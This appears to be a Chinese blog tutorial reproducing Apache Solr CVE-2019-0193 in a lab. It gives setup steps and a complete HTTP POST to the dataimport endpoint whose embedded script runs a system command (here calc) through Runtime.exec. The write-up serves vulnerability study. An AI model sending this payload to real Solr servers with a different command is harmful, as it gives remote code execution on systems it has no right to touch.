0x01 漏洞描述
2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重
0x02 漏洞环境
1.服务器需要安装java环境:
https://jingyan.baidu.com/article/375c8e190c1f9525f2a22931.html
2.服务器需要安装curl环境:
(1)下载curl包:https://skanthak.homepage.t-online.de/download/curl-7.64.1.cab
(2)将其解压至 C:\Program Files\curl 文件夹
(3)配置环境变量:类似java环境变量 右键此电脑——>属性——>高级系统设置——>环境变量——>系统变量创建CURL_HOME 变量值为C:\Program Files\curl——>系统变量path中新建 值为 %CURL_HOME%\I386——>保存退出
(4)打开doc窗口,输入curl --help:

3.漏洞环境配置:
(1)下载Apache solr :http://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.7.2/solr-7.7.2.zip
(2)解压至任意目录
(3)在powershell(管理员)中进入到你解压的目录,执行以下命令:bin/solr -e dih
(4)看到successful字样即算搭建成功
(5)本地访问 127.0.0.1:8983 同网段访问:192.168.109.130:8983 (服务器地址) 成功

0x03 漏洞复现
1. 使用curl获取core信息中的name信息:curl http://192.168.109.130:8983/solr/admin/cores

2.使用burp抓包:刷新访问页面

3.send to repeater——>复制下面的payload——>修改 core_name为上面你的core_name
POST /solr/<your_core_name>/dataimport HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 763
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=<your_core_name>&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var process= java.lang.Runtime.getRuntime();
process.exec("calc");
return row;
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
如

4.执行效果如下

5.执行语句代码如下:

如果我把calc改为notepad就会打开一个记事本。
本文详细介绍了Apache Solr CVE-2019-0193漏洞的环境搭建、复现步骤及验证方法。通过具体示例,展示了如何利用curl获取核心信息并构造payload触发漏洞。

416

被折叠的 条评论
为什么被折叠?



